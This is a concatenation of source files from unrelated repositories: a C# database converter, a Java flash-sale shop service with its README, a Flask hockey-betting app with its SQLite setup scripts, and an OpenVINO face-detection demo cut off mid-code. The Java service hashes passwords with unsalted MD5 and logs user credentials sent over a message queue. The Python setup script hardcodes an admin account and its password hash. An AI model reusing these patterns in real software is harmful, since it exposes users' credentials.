TimeSpan elapsed = Clock.Elapsed;
ElapsedWorkDuration += elapsed;
WorkDurationTimeSpanShown = ElapsedWorkDuration;
Clock.Restart();
Thread.Sleep(100);
if (Clock.IsRunning == false) {
WorkDurationButtonText = "Start Clock";
return;
}
Task.Factory.StartNew(() => UpdateWorkDurationClock());
}
private void edit_client_bt_Click (object sender, RoutedEventArgs e) {
//MainWindow.ShownClient = ShownExercise.Client;
}
}
}
<file_sep>/WorkManager/old/DatabaseConverter.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using WorkManager.old.v1;
namespace WorkManager.old {
class DatabaseConverter {
private string OldDbPath;
private WorkManagerDataBinderV1 OldWmDataBinder;
private WorkManagerDataBinder NewWmDataBinder;
private string PreviousDbPath;
private List<Exercise> OldExercises;
private List<UserAccount> OldAccounts;
private List<ExerciseClient> OldClients;
public DatabaseConverter (string oldDbPath) {
OldDbPath = oldDbPath;
}
public void ConvertToNewFormat () {
InitiateDatabinders(OldDbPath);
CreateData();
CloseDataBinders();
}
private void CreateData () {
PreloadOldData();
CreateUsers();
CreateClients();
CreateExercises();
}
private void PreloadOldData () {
OldAccounts = UserAccountDataBinderV1.GetAllUsers(); //Accounts
foreach (UserAccount user in OldAccounts)
OldExercises = OldWmDataBinder.GetAllExercisesFromAccount(user.MailAddress); //Exercises
OldExercises.ForEach(exercise => exercise.Eid = -1);
ExtractOldClients();
}
private void ExtractOldClients () {
OldClients = new List<ExerciseClient>();
foreach (Exercise ex in OldExercises)
if (ClientAlreadyExtracted(ex.Client) == false)
OldClients.Add(ex.Client);
OldClients.ForEach(client => client.Cid = -1);
}
private bool ClientAlreadyExtracted (ExerciseClient client) {
foreach (ExerciseClient savedClient in OldClients) {
if (client.MailAddress == "" &&
client.FullName == savedClient.FullName)
return true;
if (client.MailAddress != "" &&
client.MailAddress == savedClient.MailAddress)
return true;
}
return false;
}
private void CreateUsers () {
foreach (UserAccount user in OldAccounts)
UserAccountDao.SaveToDatabase(user);
}
private void CreateClients () {
foreach (ExerciseClient client in OldClients)
ExerciseClientDao.SaveClient(client);
UpdateClientsOwnedByExercises();
}
private void UpdateClientsOwnedByExercises () {
foreach (Exercise ex in OldExercises)
ex.MetaData.Client = GetUpdatedClient(ex.Client);
}
private ExerciseClient GetUpdatedClient (ExerciseClient client) {
if (client.MailAddress != "")
return ExerciseClientDao.GetClientFromMailAddress(client.MailAddress);
else if (client.FullName != "")
return ExerciseClientDao.GetClientFromFullName(client);
return client;
}
private void CreateExercises () {
foreach (Exercise ex in OldExercises)
NewWmDataBinder.SaveExercise(ex);
}
private void CloseDataBinders () {
NewWmDataBinder = new WorkManagerDataBinder(PreviousDbPath);
}
private void InitiateDatabinders (string oldDbPath) {
OldWmDataBinder = new WorkManagerDataBinderV1(OldDbPath);
PreviousDbPath = WorkManagerDataBinder.DatabasePath;
NewWmDataBinder = new WorkManagerDataBinder(OldDbPath.Replace(".db", "_new.db"));
}
}
}
|
c3fff5594d4b36382d8478f7646c01124dea1384
|
[
"C#"
] | 32 |
C#
|
mgfcf/WorkManager
|
f4a6a6444ed64d16363ae2e6064ea88c2966b5e7
|
bfe57117b4fc5a9169f2bdace9021f94a0a8ebf2
|
refs/heads/master
|
<file_sep>package org.seckill.service;
import org.seckill.dto.Exposer;
import org.seckill.dto.SeckillExecution;
import org.seckill.dto.SeckillInfo;
import org.seckill.entity.Seckill;
import java.lang.reflect.InvocationTargetException;
import java.util.List;
/**
* Created by heng on 2016/7/16.
*/
public interface SeckillService {
List<Seckill> getSeckillList();
SeckillInfo getById(long seckillId) throws InvocationTargetException, IllegalAccessException;
Exposer exportSeckillUrl(long seckillId);
SeckillExecution executeSeckill(long seckillId, String userPhone, String md5);
int addSeckill(Seckill seckill);
int deleteSeckill(Long seckillId);
int updateSeckill(Seckill seckill);
Seckill selectById(Long seckillId);
}
<file_sep>package org.seckill.entity;
import java.io.Serializable;
import java.util.Date;
public class User implements Serializable{
private static final long serialVersionUID = 1L;
/**
*
* This field was generated by MyBatis Generator.
* This field corresponds to the database column user.id
*
* @mbg.generated
*/
private Integer id;
/**
*
* This field was generated by MyBatis Generator.
* This field corresponds to the database column user.account
*
* @mbg.generated
*/
private String account;
/**
*
* This field was generated by MyBatis Generator.
* This field corresponds to the database column user.password
*
* @mbg.generated
*/
private String password;
/**
*
* This field was generated by MyBatis Generator.
* This field corresponds to the database column user.create_time
*
* @mbg.generated
*/
private Date createTime;
/**
*
* This field was generated by MyBatis Generator.
* This field corresponds to the database column user.update_time
*
* @mbg.generated
*/
private Date updateTime;
public User(String account, String password) {
this.account = account;
this.password = <PASSWORD>;
}
public User() {
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column user.id
*
* @return the value of user.id
*
* @mbg.generated
*/
public Integer getId() {
return id;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column user.id
*
* @param id the value for user.id
*
* @mbg.generated
*/
public void setId(Integer id) {
this.id = id;
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column user.account
*
* @return the value of user.account
*
* @mbg.generated
*/
public String getAccount() {
return account;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column user.account
*
* @param account the value for user.account
*
* @mbg.generated
*/
public void setAccount(String account) {
this.account = account == null ? null : account.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column user.password
*
* @return the value of user.password
*
* @mbg.generated
*/
public String getPassword() {
return password;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column user.password
*
* @param password the value for user.password
*
* @mbg.generated
*/
public void setPassword(String password) {
this.password = password == null ? null : password.trim();
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column user.create_time
*
* @return the value of user.create_time
*
* @mbg.generated
*/
public Date getCreateTime() {
return createTime;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column user.create_time
*
* @param createTime the value for user.create_time
*
* @mbg.generated
*/
public void setCreateTime(Date createTime) {
this.createTime = createTime;
}
/**
* This method was generated by MyBatis Generator.
* This method returns the value of the database column user.update_time
*
* @return the value of user.update_time
*
* @mbg.generated
*/
public Date getUpdateTime() {
return updateTime;
}
/**
* This method was generated by MyBatis Generator.
* This method sets the value of the database column user.update_time
*
* @param updateTime the value for user.update_time
*
* @mbg.generated
*/
public void setUpdateTime(Date updateTime) {
this.updateTime = updateTime;
}
}<file_sep>package org.seckill.service;
import org.seckill.entity.User;
import javax.jms.Destination;
import javax.jms.MessageListener;
public interface UserAccountService extends MessageListener{
void register(User user);
void login(User user);
void sendMsgForLogin(Destination destination,final User user);
}
<file_sep>package org.seckill.service.impl;
import com.alibaba.fastjson.JSONObject;
import org.seckill.dao.UserMapper;
import org.seckill.entity.User;
import org.seckill.entity.UserExample;
import org.seckill.exception.CommonException;
import org.seckill.exception.SeckillException;
import org.seckill.service.UserAccountService;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.jms.core.JmsTemplate;
import org.springframework.jms.core.MessageCreator;
import org.springframework.stereotype.Service;
import org.springframework.util.DigestUtils;
import javax.annotation.Resource;
import javax.jms.*;
import java.util.HashMap;
import java.util.Map;
@Service
public class UserAccountServiceImpl implements UserAccountService{
private Logger logger = LoggerFactory.getLogger(this.getClass());
@Autowired
private UserMapper userDao;
@Resource
private JmsTemplate jmsTemplate;
@Override
public void register(User user) {
try {
user.setPassword(DigestUtils.md5DigestAsHex(user.getPassword().getBytes()));
userDao.insert(user);
} catch (Exception e) {
logger.error(e.getMessage(), e);
throw new CommonException(null);
}
}
@Override
public void login(User user) {
int count = userDao.updateByPrimaryKeySelective(user);
if (count != 1) {
throw new SeckillException("login fail");
}
}
@Override
public void sendMsgForLogin(Destination destination,final User user) {
jmsTemplate.send(destination, new MessageCreator() {
@Override
public Message createMessage(Session session) throws JMSException {
Map<String,Object> userInfo=new HashMap<String,Object>();
userInfo.put("userName",user.getAccount());
userInfo.put("password",<PASSWORD>());
JSONObject user=new JSONObject(userInfo);
return session.createTextMessage(user.toString());
}
});
}
@Override
public void onMessage(Message message) {
TextMessage textMessage=(TextMessage)message;
try {
logger.info("接受的用户信息:"+textMessage.getText());
JSONObject userInfo=JSONObject.parseObject(textMessage.getText());
if(!"".equals(userInfo.get("userName"))&&!"".equals(userInfo.get("password"))){
UserExample userExample=new UserExample();
UserExample.Criteria userCriteria=userExample.createCriteria();
userCriteria.andAccountEqualTo((String) userInfo.get("userName"));
userCriteria.andPasswordEqualTo((String)userInfo.get("password"));
if(userDao.selectByExample(userExample).size()==1){
logger.info("验证成功!");
}else{
logger.info("验证失败!");
}
}else{
logger.info("字段不许为空");
}
} catch (JMSException e) {
logger.error("",e);
}
}
}
<file_sep>[](LICENSE)
[](https://github.com/techa03/goodsKill/pulls)
[](https://travis-ci.org/techa03/goodsKill)
[](https://codecov.io/gh/techa03/goodsKill)
[](https://github.com/techa03/goodsKill)
[](https://github.com/techa03/goodsKill)
# 前言
本demo为慕课网仿购物秒杀网站,该系统分为用户注册登录、秒杀商品管理模块。 前端页面基于bootstrap框架搭建,并使用bootstrap-validator插件进行表单验证。 此项目整体采用springMVC+RESTFUL风格,mybatis持久层框架,数据库密码采用AES加密保护(默认未开启)。采用dubbo+zookeeper实现服务分布式部署及调用。集成了支付宝支付功能(详见service模块),用户完成秒杀操作成功之后即可通过二维码扫码完成支付(本demo基于支付宝沙箱环境)。
本项目扩展了秒杀网站功能,通过gradle分模块管理项目,集成了jmock完成service层的测试,同时项目使用travis持续集成,提交更新后即可触发travis自动构建并完成项目测试覆盖率报告。
## 分支介绍
本项目目前主要有两个分支,`dev_gradle`分支为使用gradle构建工具管理项目依赖,`master`分支对应maven构建工具,`master`部署方法见底部。本人已经转移到gradle分支上提交代码了,gradle分支集成了druid,swagger2以及pageHelper等功能,`master`已经是很久以前的版本了,不过还是可以用的。[](https://travis-ci.org/techa03/goodsKill)代表编译成功,该项目仅作学习参考之用,觉得本项目对你有帮助的请多多支持一下~~~~。
## 技术选型
### 后端技术:
技术 | 名称 | 官网
----|------|----
Spring Framework | 容器 | [http://projects.spring.io/spring-framework/](http://projects.spring.io/spring-framework/)
SpringMVC | MVC框架 | [http://docs.spring.io/spring/docs/current/spring-framework-reference/htmlsingle/#mvc](http://docs.spring.io/spring/docs/current/spring-framework-reference/htmlsingle/#mvc)
MyBatis | ORM框架 | [http://www.mybatis.org/mybatis-3/zh/index.html](http://www.mybatis.org/mybatis-3/zh/index.html)
MyBatis Generator | 代码生成 | [http://www.mybatis.org/generator/index.html](http://www.mybatis.org/generator/index.html)
Druid | 数据库连接池 | [https://github.com/alibaba/druid](https://github.com/alibaba/druid)
ZooKeeper | 分布式协调服务 | [http://zookeeper.apache.org/](http://zookeeper.apache.org/)
Dubbo | 分布式服务框架 | [http://dubbo.io/](http://dubbo.io/)
Redis | 分布式缓存数据库 | [https://redis.io/](https://redis.io/)
ActiveMQ | 消息队列 | [http://activemq.apache.org/](http://activemq.apache.org/)
Log4J | 日志组件 | [http://logging.apache.org/log4j/1.2/](http://logging.apache.org/log4j/1.2/)
Protobuf & json | 数据序列化 | [https://github.com/google/protobuf](https://github.com/google/protobuf)
Jenkins | 持续集成工具 | [https://jenkins.io/index.html](https://jenkins.io/index.html)
Maven | 项目构建管理 | [http://maven.apache.org/](http://maven.apache.org/)
Gradle | 项目构建工具 | [https://gradle.org/](https://gradle.org/)
SonarQube | 项目代码质量监控 | [https://www.sonarqube.org/](https://www.sonarqube.org/)
### 前端技术:
技术 | 名称 | 官网
----|------|----
jQuery | 函式库 | [http://jquery.com/](http://jquery.com/)
Bootstrap | 前端框架 | [http://getbootstrap.com/](http://getbootstrap.com/)
### API接口

### 页面展示

#### 项目启动方法:
1.参照redis官网安装redis,默认端口启动activemq,zookeeper;
2.找到seckill.sql文件,在本地mysql数据库中建立seckill仓库并执行seckill.sql完成数据初始化操作;
3.jdbc.properties中修改数据库连接信息;
4.在service模块中找到GoodsKillRpcServiceApplication类main方法启动远程服务;
5.编译好整个项目后使用tomcat发布server模块,上下文环境配置为goodsKill,部署成功后访问
http://localhost:8080/goodsKill/seckill/list 秒杀详情页;
#### 编译部署注意事项:
- 本项目集成了支付宝二维码支付API接口,使用时需要配置支付宝沙箱环境,具体教程见[支付包二维码支付接入方法](http://blog.csdn.net/techa/article/details/71003519);
- ~~项目中service部分引用了支付宝的第三方jar包,如需使用首先需要到支付宝开放平台下载,并引入到项目中,支付宝jar包安装到本地环境并添加本地依赖的方法:~~(已无需安装依赖到maven本地仓库,项目已经包含相关jar包)
```
mvn install:install-file -Dfile=jar包路径 -DgroupId=com.alibaba.alipay -DartifactId=alipay -Dversion=20161213 -Dpackaging=jar
mvn install:install-file -Dfile=jar包路径 -DgroupId=com.alibaba.alipay -DartifactId=alipay-trade -Dversion=20161215 -Dpackaging=jar
```
<file_sep>package org.seckill;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import java.io.IOException;
/**
* 服务启动类
* Created by ZhangShuzheng on 2017/2/3.
*/
public class GoodsKillRpcServiceApplication {
private static Logger _log = LoggerFactory.getLogger(GoodsKillRpcServiceApplication.class);
public static void main(String[] args) throws IOException {
_log.info(">>>>> goodsKill-rpc-service 正在启动 <<<<<");
ClassPathXmlApplicationContext context= new ClassPathXmlApplicationContext("classpath:META-INF/spring/spring-*.xml");
context.start();
System.in.read();
_log.info(">>>>> goodsKill-rpc-service 启动完成 <<<<<");
}
}<file_sep>package org.seckill.service;
/**
* Created by heng on 2017/4/25.
*/
public interface HelloService {
void sayHello();
}
<file_sep>package org.seckill.dao;
import org.apache.ibatis.annotations.Param;
import org.seckill.entity.Seckill;
import org.seckill.entity.SeckillExample;
import java.util.Date;
import java.util.List;
public interface SeckillMapper {
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table seckill
*
* @mbg.generated
*/
long countByExample(SeckillExample example);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table seckill
*
* @mbg.generated
*/
int deleteByExample(SeckillExample example);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table seckill
*
* @mbg.generated
*/
int deleteByPrimaryKey(Long seckillId);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table seckill
*
* @mbg.generated
*/
int insert(Seckill record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table seckill
*
* @mbg.generated
*/
int insertSelective(Seckill record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table seckill
*
* @mbg.generated
*/
List<Seckill> selectByExample(SeckillExample example);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table seckill
*
* @mbg.generated
*/
Seckill selectByPrimaryKey(Long seckillId);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table seckill
*
* @mbg.generated
*/
int updateByExampleSelective(@Param("record") Seckill record, @Param("example") SeckillExample example);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table seckill
*
* @mbg.generated
*/
int updateByExample(@Param("record") Seckill record, @Param("example") SeckillExample example);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table seckill
*
* @mbg.generated
*/
int updateByPrimaryKeySelective(Seckill record);
/**
* This method was generated by MyBatis Generator.
* This method corresponds to the database table seckill
*
* @mbg.generated
*/
int updateByPrimaryKey(Seckill record);
int reduceNumber(@Param("seckillId") long seckillId, @Param("killTime") Date killTime);
}<file_sep>package org.seckill.service;
import org.seckill.entity.Goods;
import org.springframework.web.multipart.commons.CommonsMultipartFile;
import java.io.IOException;
import java.util.List;
/**
* Created by heng on 2017/1/7.
*/
public interface GoodsService {
void uploadGoodsPhoto(CommonsMultipartFile file, long goodsId) throws IOException;
String getPhotoUrl(int goodsId);
void addGoods(Goods goods, CommonsMultipartFile file);
List<Goods> queryAll();
Goods queryByGoodsId(long goodsId);
}
|
0be4a54864e291c2a70471ff01ca77f73c8d5a2d
|
[
"Markdown",
"Java"
] | 9 |
Java
|
stateIs0/goodsKill
|
68d17f8c879a9b35b8840ca20d93ddb3e7941156
|
d92c746ba5a359a8adef8639b97a0ece4df7b6a8
|
refs/heads/master
|
<file_sep>from flask import Flask, render_template, url_for, flash, request, session, redirect, abort
from wtforms import Form, TextField, PasswordField, validators
from functools import wraps
from dbconnect import connection
from passlib.hash import sha256_crypt
from waitress import serve
import gc
import time
app = Flask(__name__)
app.config.from_object(__name__)
app.config.update(dict(
SECRET_KEY='<KEY>'
))
class RegistrationForm(Form):
username = TextField('Username', [validators.Length(min=4, max=20)])
password = PasswordField('<PASSWORD>', [
validators.Required(),
validators.EqualTo('confirm', message='Password must match!')])
confirm = PasswordField('Repeat Password')
def login_required(f):
@wraps(f)
def wrap(*args, **kwargs):
if 'logged_in' in session:
return f(*args, **kwargs)
else:
flash("You need to login first!")
return redirect(url_for('mainpage'))
return wrap
@app.route('/')
def mainpage():
return render_template("homepage.html")
@app.route('/admin')
@login_required
def admin():
if session['username'] != 'radicz':
return '''
<br>
<br>
<br>
<h1 align="center">ACCESS DENIED</h1>
<p align="center" style="color: purple;"> You should not be here! </p'''
try:
show = True
c, conn = connection()
c.execute("SELECT teams FROM matches WHERE result != 0;")
data_used = set(c.fetchall())
c.execute("SELECT teams FROM matches where start < ?;", (time.time(),))
data_all = set(c.fetchall())
data = data_all - data_used # remove guessed match from option menu
if data == set():
show = False
c.close()
conn.close()
gc.collect()
except Exception as e:
flash(e)
return render_template("admin.html")
return render_template("admin.html", data=data, show=show)
@app.route('/dashboard/')
@login_required
def dashboard():
try:
c, conn = connection()
c.execute("SELECT who, bet FROM bets WHERE username=?;", (session['username'],))
guessed = c.fetchall()
guessed = guessed[::-1]
results = []
for item in guessed:
c.execute("SELECT result FROM matches WHERE teams=?;", (item[0],))
res = c.fetchone()[0]
results.append(res)
c.execute("SELECT username FROM winners;")
winners_usernames = c.fetchall()
vyherni_tymy = []
for item in winners_usernames:
vyherni_tymy.append(item[0])
c.execute("SELECT first, second, third, fourth FROM winners WHERE username=?;", (session["username"],))
vsazeno = c.fetchone()
if vsazeno is None:
flash("Don't forget to bet on top 4 teams. This section will be closed soon.")
c.close()
conn.close()
gc.collect()
except Exception as e:
flash(e)
return render_template("dashboard.html")
return render_template(
"dashboard.html",
guessed=guessed,
results=results,
vyherni_tymy=vyherni_tymy,
vsazeno=vsazeno)
@app.route('/dashboard/bet/')
@login_required
def bet():
try:
show_A = True
show_B = True
c, conn = connection()
c.execute("SELECT who FROM bets WHERE username=?", (session["username"],))
data_used = set(c.fetchall())
c.execute("SELECT teams FROM matches WHERE result=0 AND party='A' and start > ? and start < ?;", (time.time(), time.time() + (86400 * 2),)) # druha polozka zmenit na time.time()+86400 (den)
group_A = set(c.fetchall())
group_A = group_A - data_used
c.execute("SELECT teams FROM matches WHERE result=0 AND party='B' and start > ? and start < ?;", (time.time(), time.time() + (86400 * 2),)) # druha polozka zmenit na time.time()+86400 (den)
group_B = set(c.fetchall())
group_B = group_B - data_used
if group_A == set():
show_A = False
if group_B == set():
show_B = False
c.close()
conn.close()
gc.collect()
except Exception as e:
flash(e)
return render_template("bet.html")
return render_template("bet.html", group_A=group_A, show_A=show_A, group_B=group_B, show_B=show_B)
@app.route('/add_bet', methods=['POST'])
@login_required
def add_bet():
if "bet_A" in request.form:
select = request.form.get('comp_select_A')
bet = request.form["bet_A"]
elif "bet_B" in request.form:
select = request.form.get('comp_select_B')
bet = request.form["bet_B"]
flash("You just bet on match " + select + " with final score " + bet)
try:
c, conn = connection()
c.execute("INSERT INTO bets(who, username, bet, evaluated) VALUES(?, ?, ?, ?);", (select, session['username'], bet, 0))
conn.commit()
c.close()
conn.close()
gc.collect()
return redirect(url_for("bet"))
except Exception as e:
flash(e)
return redirect(url_for("bet"))
@app.route('/add_winners', methods=['POST'])
@login_required
def add_winners():
try:
first = request.form.get("first")
second = request.form.get("second")
third = request.form.get("third")
fourth = request.form.get("fourth")
flash("You just bet on total winners of championship. Good luck.")
c, conn = connection()
c.execute("INSERT INTO winners(username, first, second, third, fourth) VALUES(?, ?, ?, ?, ?);", (session["username"], first, second, third, fourth))
conn.commit()
c.close()
conn.close()
gc.collect()
return redirect(url_for("dashboard"))
except Exception as e:
flash(e)
return redirect(url_for("dashboard"))
@app.route('/add_results', methods=['POST'])
@login_required
def add_results():
select = request.form.get('comp_select')
result = request.form["result"]
flash("You just set result on match " + select + " with final score " + result)
try:
c, conn = connection()
c.execute("UPDATE matches SET result=? WHERE teams=?;", (result, select))
conn.commit()
c.close()
conn.close()
gc.collect()
return redirect(url_for("admin"))
except Exception as e:
flash(e)
return redirect(url_for("admin"))
@app.route('/evaluate', methods=['POST'])
@login_required
def evaluate():
try:
c, conn = connection()
c.execute("SELECT bid FROM bets JOIN matches WHERE bet=result AND teams=who AND evaluated=0;")
to_eval = c.fetchall()
for item in to_eval:
c.execute("UPDATE bets SET evaluated=1 WHERE bid=?", (item))
c.execute("SELECT username FROM bets WHERE evaluated=1;")
evalu = c.fetchall()
for item in evalu:
c.execute("UPDATE users SET points=points+1 WHERE username=?;", (item))
c.execute("UPDATE bets SET evaluated=2 WHERE evaluated=1")
conn.commit()
c.close()
conn.close()
gc.collect()
except Exception as e:
flash(e)
return redirect(url_for("admin"))
return redirect(url_for("admin"))
@app.route('/dashboard/highscore/')
@login_required
def highscore():
try:
c, conn = connection()
c.execute("SELECT username, points FROM users ORDER BY points DESC, username;")
players = c.fetchall()
c.close()
conn.close()
gc.collect()
except Exception as e:
flash(e)
return render_template("highscore.html")
return render_template("highscore.html", players=players)
@app.route('/login/', methods=['GET', 'POST'])
def login():
error = ''
try:
c, conn = connection()
if request.method == 'POST':
data = c.execute("SELECT * FROM users WHERE username=?", (request.form['username'],))
data = c.fetchone()[1]
if sha256_crypt.verify(str(request.form['password']), data):
session['logged_in'] = True
session['username'] = request.form['username']
return redirect(url_for("dashboard"))
else:
error = "Invalid credentials, try again."
c.close()
conn.close()
gc.collect()
return render_template("login.html", error=error)
except Exception as e:
flash(e)
error = "Invalid credentials, try again."
return render_template("login.html", error=error)
@app.route('/logout/')
def logout():
session.pop('logged_in', None)
return redirect(url_for('mainpage'))
@app.route('/registration/', methods=['GET', 'POST'])
def registration():
try:
form = RegistrationForm(request.form)
if request.method == 'POST' and form.validate():
username = form.username.data
password = <PASSWORD>((str(form.password.data)))
c, conn = connection()
c.execute('SELECT * FROM users WHERE username=?;', (username,))
if c.fetchone() is not None:
flash("That username is already taken, please choose another")
return render_template('registration.html', form=form)
else:
c.execute('INSERT INTO users(username, password, points) VALUES(?, ?, ?);', (username, password, 0))
conn.commit()
flash('You were successfully registered!')
c.close()
conn.close()
gc.collect()
return redirect(url_for('mainpage'))
return render_template("registration.html", form=form)
except Exception as e:
return(str(e))
if __name__ == "__main__":
serve(app, host="127.0.0.1", port=8080)
<file_sep># score_madness
Betting web app for ice hockey world championship based on Flask
<file_sep><html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
<link href="http://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet" type="text/css">
<link href="http://pingendo.github.io/pingendo-bootstrap/themes/default/bootstrap.css" rel="stylesheet" type="text/css">
<link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<link rel="shortcut icon" href="{{ url_for('static', filename='favicon.ico') }}">
<title>sc0re madn3ss</title>
</head>
<body style="font-family: courier;">
<!-- header -->
<div class="section section-info">
<div class="container">
<div class="col-sm-13">
<a href="/" style="text-decoration: none; color: white">
<span style="font-family: courier; font-size: 45px">sc0re madn3ss</span>
<img alt="Brand" src="{{ url_for('static', filename='images/trophy.png') }}" style="width: 256px">
<span style="font-family: courier; font-size: 20px">betting system for World Championship 2017</span>
</a>
</div>
</div>
</div>
<!-- Login, Sign Up buttons -->
<div class="section">
<div class="container">
<div class="row text-right">
<div class="col-md-12">
{% if session['logged_in'] %}
{% if session.username == "radicz" %}
<a href="{{ url_for('admin') }}" style="text-decoration: none">● ADMIN</a>
<a href="{{ url_for('dashboard') }}" style="text-decoration: none">● dashboard</a>
{% endif %}
<strong>Logged as:</strong> {{ session.username }}
<a href={{ url_for('logout') }} class="btn btn-primary"><span class="glyphicon glyphicon-log-out"></span> logout </a>
<hr>
{% else %}
<a href="/registration/ "class="btn btn-primary"><span class="glyphicon glyphicon-pencil"></span> sign up </a>
<a href="/login/" class="btn btn-primary"><span class="glyphicon glyphicon-log-in"></span> login </a>
<hr>
{% endif %}
</div>
</div>
{% for message in get_flashed_messages() %}
<div class="alert alert-info alert-dismissible" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="close">close</button>
<strong style="color: black;">{{ message }}</strong>
</div>
{% endfor %}
</div>
</div>
{% block body%}
{% endblock %}
<div class="container text-center">
<hr>
created by radicz & powered by Flask © 2016
</div>
</body>
</html>
<file_sep>import sqlite3
def connection():
conn = sqlite3.connect('score_madness.db')
c = conn.cursor()
return c, conn
def db_init():
c, conn = connection()
c.execute("DROP TABLE IF EXISTS users;")
c.execute("DROP TABLE IF EXISTS matches;")
c.execute("DROP TABLE IF EXISTS bets;")
c.execute("DROP TABLE IF EXISTS winners;")
c.execute("CREATE TABLE users(username, password, points integer);")
c.execute("CREATE TABLE matches(mid, party, start, teams, result);")
c.execute("CREATE TABLE bets(bid integer primary key, who, username, bet, evaluated);") # evaluated 0 - not evaluated yet, 1 evaluated, 2 prevent from multiple evaluate
c.execute("CREATE TABLE winners(username, first, second, third, fourth);")
c.execute("INSERT INTO users(username, password, points) VALUES(?, ?, ?);", ("radicz", "$5$rounds=535000$NisFdafmeMx1glMu$br7wweTAFBrsnVn7cnysMkrBHCEtRkV7F.e6jtzAd20", 0))
conn.commit()
c.close()
conn.close()
print("Database Initialized!")
if __name__ == '__main__':
db_init()
# datetime.datetime(2017,5,16,20,15).timestamp()
# time.ctime(timestamp)<file_sep>from dbconnect import connection
import datetime
with open("zapasy.txt", "r") as f:
data = []
for line in f.readlines():
data.append(line.split(";"))
data = data[0:-8]
for i in range(len(data)):
del data[i][-1]
data[i][1] = data[i][1].strip()
data[i][2] = data[i][2].strip()
data[i][2] = data[i][2][:-5]
data[i][3] = data[i][3].strip()
data[i][3] = data[i][3].rstrip(" GMT+2")
data[i][4] = data[i][4].strip()
data[i][4] = data[i][4].replace("vs", "-")
data[i][2] = data[i][2] + " " + data[i][3]
del data[i][3]
c, conn = connection()
for item in data:
c.execute("INSERT INTO matches(mid, party, start, teams, result) VALUES(?, ?, ?, ?, 0);", (item[0], item[1], item[2], item[3]))
c.execute("SELECT start FROM matches;")
a = c.fetchall()
for item in a:
c.execute("UPDATE matches set start=? where start=?;", (datetime.datetime(2017, 5, int(item[0][:2]), int(item[0][-5:-3]), int(item[0][-2:])).timestamp(), item[0],))
conn.commit()
c.close()
conn.close()
print("Database Initialized!")
|
e726dfe17643fef12779f1a1edb61b2e5de9e7f7
|
[
"Markdown",
"Python",
"HTML"
] | 5 |
Python
|
py-radicz/score_madness
|
505f404c900175c2f7107fc16eb54e810ffdb3f2
|
d01d36ce28de5b902b3855e53bcfc2c08cf405df
|
refs/heads/master
|
<repo_name>streltsova-yana/ARM-sample-detection<file_sep>/demo/src.cpp
#include <opencv2/opencv.hpp>
#include <inference_engine.hpp>
#include <string>
using namespace InferenceEngine;
static InferenceEngine::Blob::Ptr wrapMat2Blob( const cv::Mat &mat ) {
size_t channels = mat.channels();
size_t height = mat.size().height;
size_t width = mat.size().width;
size_t strideH = mat.step.buf[0];
size_t strideW = mat.step.buf[1];
bool is_dense = (strideW == channels && strideH == channels * width);
if( !is_dense ) THROW_IE_EXCEPTION << "Doesn't support conversion from not dense cv::Mat";
InferenceEngine::TensorDesc tDesc( InferenceEngine::Precision::U8, { 1, channels, height, width }, InferenceEngine::Layout::NCHW );
return InferenceEngine::make_shared_blob<uint8_t>( tDesc, mat.data );
}
int main(int argc, char** argv)
{
const std::string input_image_path{"../picture.jpg"};
const std::string input_model{"../face-detection-adas-0001.xml"};
// --------------------------- 1. Load inference engine instance -------------------------------------
InferenceEngine::Core ie;
// -----------------------------------------------------------------------------------------------------
// 2. Read a model in OpenVINO Intermediate Representation (.xml and .bin files) format
CNNNetwork network = ie.ReadNetwork(input_model);
// -----------------------------------------------------------------------------------------------------
// --------------------------- 3. Configure input & output ---------------------------------------------
// --------------------------- Prepare input blobs -----------------------------------------------------
InputInfo::Ptr input_info = network.getInputsInfo().begin()->second;
std::string input_name = network.getInputsInfo().begin()->first;
input_info->getPreProcess().setResizeAlgorithm(RESIZE_BILINEAR);
input_info->setLayout(Layout::NCHW);
input_info->setPrecision(Precision::U8);
// --------------------------- Prepare output blobs ----------------------------------------------------
DataPtr output_info = network.getOutputsInfo().begin()->second;
std::string output_name = network.getOutputsInfo().begin()->first;
const SizeVector outputDims = output_info->getTensorDesc().getDims();
const int numPred = outputDims[2];
std::vector<size_t> imageWidths, imageHeights;
output_info->setPrecision(Precision::FP32);
// -----------------------------------------------------------------------------------------------------
// --------------------------- 4. Loading model to the device ------------------------------------------
ExecutableNetwork executable_network = ie.LoadNetwork(network, "ARM");;
// -----------------------------------------------------------------------------------------------------
// --------------------------- 5. Create infer request -------------------------------------------------
InferRequest infer_request = executable_network.CreateInferRequest();
// -----------------------------------------------------------------------------------------------------
// --------------------------- 6. Prepare input --------------------------------------------------------
cv::Mat image = cv::imread(input_image_path);
int w = image.cols;
